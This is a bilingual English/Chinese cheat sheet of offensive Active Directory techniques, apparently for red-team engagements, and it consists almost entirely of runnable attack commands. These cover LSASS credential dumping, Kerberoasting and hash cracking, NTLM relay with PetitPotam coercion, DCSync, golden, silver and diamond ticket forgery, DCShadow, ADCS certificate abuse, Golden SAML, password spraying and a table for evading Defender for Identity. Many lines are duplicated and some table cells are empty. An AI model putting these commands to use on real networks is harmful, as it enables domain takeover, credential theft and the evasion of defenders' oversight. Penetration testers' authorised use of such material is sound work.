Active Directory — Offensive Testing Methodology
Active Directory — 攻击性测试方法论
- Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
- Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
- Map attack paths to Domain Admin / Enterprise Admin / Tier 0
- Execute path with lowest detection cost, validate at each hop
- Establish persistence and document every action with timestamps
- 离线侦察 AD 结构（BloodHound、ADExplorer snapshot）— 尽量减少实时查询
- 通过 poisoning、Kerberoasting、ASREProast 或 LSASS 收集凭据（在允许的情况下）
- 映射通往 Domain Admin / Enterprise Admin / Tier 0 的攻击路径
- 执行检测成本最低的路径，并在每一跳进行验证
- 建立持久化，并记录每一次操作及时间戳
BloodHound Collection
BloodHound 数据收集
SharpHound (CSharp collector) — most stealthy with throttling
SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
Stealth collection (DC-only, avoids workstation noise)
Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth
SharpHound.exe -c DCOnly --Stealth
Bloodhound.py from Linux (no Windows host needed)
Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
PowerView (No Tool Drop)
PowerView（无需投放工具）
Domain enumeration without binaries
Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
ADExplorer Offline
ADExplorer 离线分析
Take snapshot from any low-priv user, analyze offline
Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
ADExplorer.exe → File → Create Snapshot
Convert to BloodHound format
Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
ADExplorerSnapshot.py snapshot.dat -o output/
Credential Harvesting
凭据收集
LLMNR / NBT-NS / mDNS Poisoning
LLMNR / NBT-NS / mDNS 投毒
Capture NetNTLMv2 hashes from broadcast resolution
Capture NetNTLMv2 hashes from broadcast resolution
Inveigh (Windows-side, when you have a foothold)
Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
Crack with hashcat mode 5600. If cracking fails, relay instead.
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
使用 hashcat mode 5600 破解。如果破解失败，则改用 relay。
Identify relay targets (no SMB signing, LDAP signing not required)
Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support
--escalate-user attacker --delegate-access
impacket-ntlmrelayx -tf relay-targets.txt -smb2support
--escalate-user attacker --delegate-access
Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
Kerberoasting
Kerberoasting
Request TGS for all SPN-bearing accounts
Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
AES-only accounts (harder to crack but worth attempting)
AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
Cross-platform from Linux
Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
ASREProasting
ASREProasting
Find users with DONT_REQUIRE_PREAUTH set
Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
LSASS / SAM Dumping
LSASS / SAM Dump
cmd
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
Parse with Mimikatz or pypykatz offline:
bash
pypykatz lsa minidump lsass.dmp
cmd
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump <PID> C:\\out.dmp full
:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
可离线使用 Mimikatz 或 pypykatz 解析：
bash
pypykatz lsa minidump lsass.dmp
Privilege Escalation Within AD
AD 内部权限提升
| Right | Abuse |
|---|
| / | Add SPN → Kerberoast; reset password; add member |
| Grant yourself DCSync rights, then DCSync |
| Take ownership → grant rights → exploit |
| (User) | Force password change |
| (Domain) | DCSync |
| Add self to privileged group |
| Set SPN, kerberoast target |
| 权限 | 滥用方式 |
|---|
| / | 添加 SPN → Kerberoast；重置密码；添加成员 |
| 授予自己 DCSync 权限，然后执行 DCSync |
| 取得所有权 → 授予权限 → 利用 |
| (User) | 强制更改密码 |
| (Domain) | DCSync |
| 将自己添加到特权组 |
| 设置 SPN，成为 kerberoast 目标 |
Targeted Kerberoast (write SPN, roast, remove SPN)
Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname
Grant DCSync via WriteDacl
Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local'
-PrincipalIdentity attacker -Rights DCSync
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local'
-PrincipalIdentity attacker -Rights DCSync
Kerberos Delegation
Kerberos Delegation
Find delegation
Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
Unconstrained → wait for / coerce DC auth, capture TGT
Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap
Rubeus.exe monitor /interval:5 /nowrap
Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator
/msdsspn:cifs/dc.corp.local /ptt
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator
/msdsspn:cifs/dc.corp.local /ptt
Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
Requires GenericAll/GenericWrite on the target computer object
Requires GenericAll/GenericWrite on the target computer object
Coercion Primitives
认证强制原语
| Technique | Tool / RPC |
|---|
| PetitPotam | (, ) |
| PrinterBug | (RpcRemoteFindFirstPrinterChangeNotificationEx
|
| DFSCoerce | () |
| ShadowCoerce | |
| WebDAV | Search-and-replace UNC path embedded in any web fetch |
| 技术 | 工具 / RPC |
|---|
| PetitPotam | (, ) |
| PrinterBug | (RpcRemoteFindFirstPrinterChangeNotificationEx
|
| DFSCoerce | () |
| ShadowCoerce | |
| WebDAV | 搜索并替换嵌入任意 Web 请求中的 UNC 路径 |
Coerce + relay full chain
Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
Result: RBCD set, S4U → DA on coerced machine
Result: RBCD set, S4U → DA on coerced machine
Find GPOs you can edit
Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
?{ $.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
-and $.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
?{ $.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
-and $.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain"
--GPOName "Workstation Policy"
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain"
--GPOName "Workstation Policy"
ADCS Abuse — ESC1 through ESC15
ADCS 滥用 — ESC1 至 ESC15
bash
certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
bash
certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
Common Misconfigurations
常见错误配置
| ID | Misconfig | Exploitation |
|---|
| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN |
| ESC2 | Any Purpose EKU | Request cert valid for any use |
| ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user |
| ESC4 | Vulnerable template ACL | Modify template to ESC1 |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template |
| ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests |
| ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → cert |
| ESC9 | No security extension + UPN | UPN spoofing post-account-rename |
| ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename |
| ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC |
| ESC13 | Issuance policy linked to group | Cert grants group membership |
| ESC14 | altSecurityIdentities write | Map attacker cert to admin |
| ESC15 | EKUwu — schema v1 templates | Inject EKU at request time |
| ID | 错误配置 | 利用方式 |
|---|
| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | 请求包含任意 UPN 的证书 |
| ESC2 | Any Purpose EKU | 请求可用于任意用途的证书 |
| ESC3 | Enrollment Agent | 请求 agent 证书，然后代表任意用户执行操作 |
| ESC4 | Vulnerable template ACL | 修改模板以利用 ESC1 |
| ESC6 | CA 上的 EDITF_ATTRIBUTESUBJECTALTNAME2 | 对任意模板注入 SAN |
| ESC7 | Vulnerable CA ACL (ManageCA) | 批准自己提交的待处理请求 |
| ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → 证书 |
| ESC9 | 缺少 security extension + UPN | 账户重命名后进行 UPN 欺骗 |
| ESC10 | StrongCertificateBindingEnforcement 强度较弱 | 无需重命名即可进行 UPN 欺骗 |
| ESC11 | RPC 未受保护（无 ICertPassage IF_ENFORCEENCRYPTICERTREQUEST） | 通过 RPC relay |
| ESC13 | Issuance policy 关联到组 | 证书授予组成员资格 |
| ESC14 | 可写 altSecurityIdentities | 将攻击者证书映射到管理员 |
| ESC15 | EKUwu — schema v1 模板 | 在请求时注入 EKU |
Request cert as Administrator
Request cert as Administrator
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate
-upn administrator@corp.local
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate
-upn administrator@corp.local
Use cert to get TGT and NT hash via UnPAC-the-Hash
Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
ESC8 (Web Enrollment Relay)
ESC8（Web Enrollment Relay）
Coerce any DC, relay to ADCS Web Enrollment, request DC cert
Coerce any DC, relay to ADCS Web Enrollment, request DC cert
Result: cert for DC$ → TGT → DCSync
Result: cert for DC$ → TGT → DCSync
Pass-the-Hash / Overpass-the-Hash
Pass-the-Hash / Overpass-the-Hash
PTH with NT hash
PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>
Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
Pass-the-Ticket
Pass-the-Ticket
Rubeus.exe ptt /ticket:base64.kirbi
Rubeus.exe ptt /ticket:base64.kirbi
Or from .ccache
Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
Silent Lateral Tools
静默横向移动工具
WinRM (no event logs in default channel for command exec)
WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>
evil-winrm -i target -u admin -H <hash>
SMB exec without service creation (uses task scheduler)
SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"
impacket-atexec corp/admin@target -hashes :<hash> "whoami"
impacket-wmiexec corp/admin@target -hashes :<hash>
impacket-wmiexec corp/admin@target -hashes :<hash>
DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"
Golden Ticket (krbtgt forge)
Golden Ticket（krbtgt 伪造）
Requires krbtgt NT hash (from DCSync)
Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
Silver Ticket (per-service forge)
Silver Ticket（按服务伪造）
Forge TGS for a specific service using its account hash
Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local
-spn cifs/server.corp.local Administrator
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local
-spn cifs/server.corp.local Administrator
Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)
Diamond / Sapphire Ticket（现代变体，可规避针对 krbtgt 的 MDI 检测）
Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
bash
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
bash
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
In-memory PowerShell variant (Mimikatz)
In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
DCShadow (register rogue DC, push changes)
DCShadow（注册 rogue DC 并推送更改）
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
AdminSDHolder
AdminSDHolder
Add ACE granting your account
on
CN=AdminSDHolder,CN=System,DC=corp,DC=local
. SDProp propagates to all protected groups every 60 minutes.
在
CN=AdminSDHolder,CN=System,DC=corp,DC=local
上添加一个 ACE，向攻击者账户授予
。SDProp 每 60 分钟将该权限传播到所有受保护组。
Forest & Trust Attacks
Forest 与信任攻击
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust
SID History injection (cross-forest if SID filtering disabled)
SID History injection (cross-forest if SID filtering disabled)
ExtraSids in golden ticket → admin in trusted forest
ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID>
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID>
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator
Trust ticket forging (inter-realm TGT)
Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi
Hybrid AD / Entra ID (Azure AD) Pivots
Hybrid AD / Entra ID（Azure AD）枢轴
| Pivot | Path |
|---|
| AAD Connect server compromise | Dump MSOL_ account → DCSync on-prem |
| Seamless SSO | Forge Kerberos ticket for → cloud SSO any user |
| PTA agent | DLL hijack Microsoft.Azure.SecurityTokenService
|
| PHS hash sync | Read on-prem hashes from AAD Connect SQL (ADSync DB) |
| Federated trust | Forge SAML token via stolen ADFS token-signing cert (Golden SAML) |
| Pass-the-PRT | Steal PRT cookie from device → cloud session as user |
| 枢轴 | 路径 |
|---|
| 攻陷 AAD Connect 服务器 | Dump MSOL_ 账户 → 对本地 AD 执行 DCSync |
| Seamless SSO | 为 伪造 Kerberos 票据 → 以任意用户身份进行 cloud SSO |
| PTA agent | DLL 劫持 Microsoft.Azure.SecurityTokenService
|
| PHS hash sync | 从 AAD Connect SQL（ADSync DB）读取本地哈希 |
| 联合信任 | 利用窃取的 ADFS token-signing cert 伪造 SAML token（Golden SAML） |
| Pass-the-PRT | 从设备窃取 PRT cookie → 以该用户身份建立 cloud session |
AADInternals — Hybrid identity attack toolkit
AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer '
http://sts/adfs/services/trust'
-PfxFileName 'token-signing.pfx'
Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer '
http://sts/adfs/services/trust'
-PfxFileName 'token-signing.pfx'
Detection Evasion (MDI / Defender for Identity)
检测规避（MDI / Defender for Identity）
| MDI Detector | Evasion |
|---|
| Honeytoken account access | Always check and recent activity before hitting accounts |
| Reconnaissance via SAMR | Use ADWS / LDAP-only collection, throttle |
| Suspicious Kerberos delegation | Avoid noisy chains on monitored DCs |
| Golden/Silver Ticket detection | Use Diamond/Sapphire variants; match legitimate ticket lifetime/encryption |
| DCSync from non-DC | Relay through legitimate replication-permitted accounts |
| Pass-the-Hash | Use overpass-the-hash to convert to Kerberos before lateraling |
| MDI 检测器 | 规避方式 |
|---|
| Honeytoken 账户访问 | 操作账户前，务必检查 和近期活动 |
| 通过 SAMR 进行侦察 | 仅使用 ADWS / LDAP 收集并进行限速 |
| 可疑的 Kerberos delegation | 避免在受监控的 DC 上产生噪声较大的 链 |
| Golden/Silver Ticket 检测 | 使用 Diamond/Sapphire 变体；匹配合法票据的生存期与加密方式 |
| 来自非 DC 的 DCSync | 通过合法的、具备复制权限的账户执行 relay |
| Pass-the-Hash | 在横向移动前使用 overpass-the-hash 将其转换为 Kerberos |
Identify MDI sensors before noisy actions
Identify MDI sensors before noisy actions
Get-DomainComputer -SPN 'MicrosoftATA'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }
Get-DomainComputer -SPN 'MicrosoftATA'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }
Engagement Cheatsheet
演练速查表
1. Anonymous LDAP enum (no creds)
1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users
2. Null SMB session
2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass
3. Password spray (low and slow)
3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success
4. Once authed: full enum + BloodHound
4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip
5. Identify attack path → execute → loot → persist
5. Identify attack path → execute → loot → persist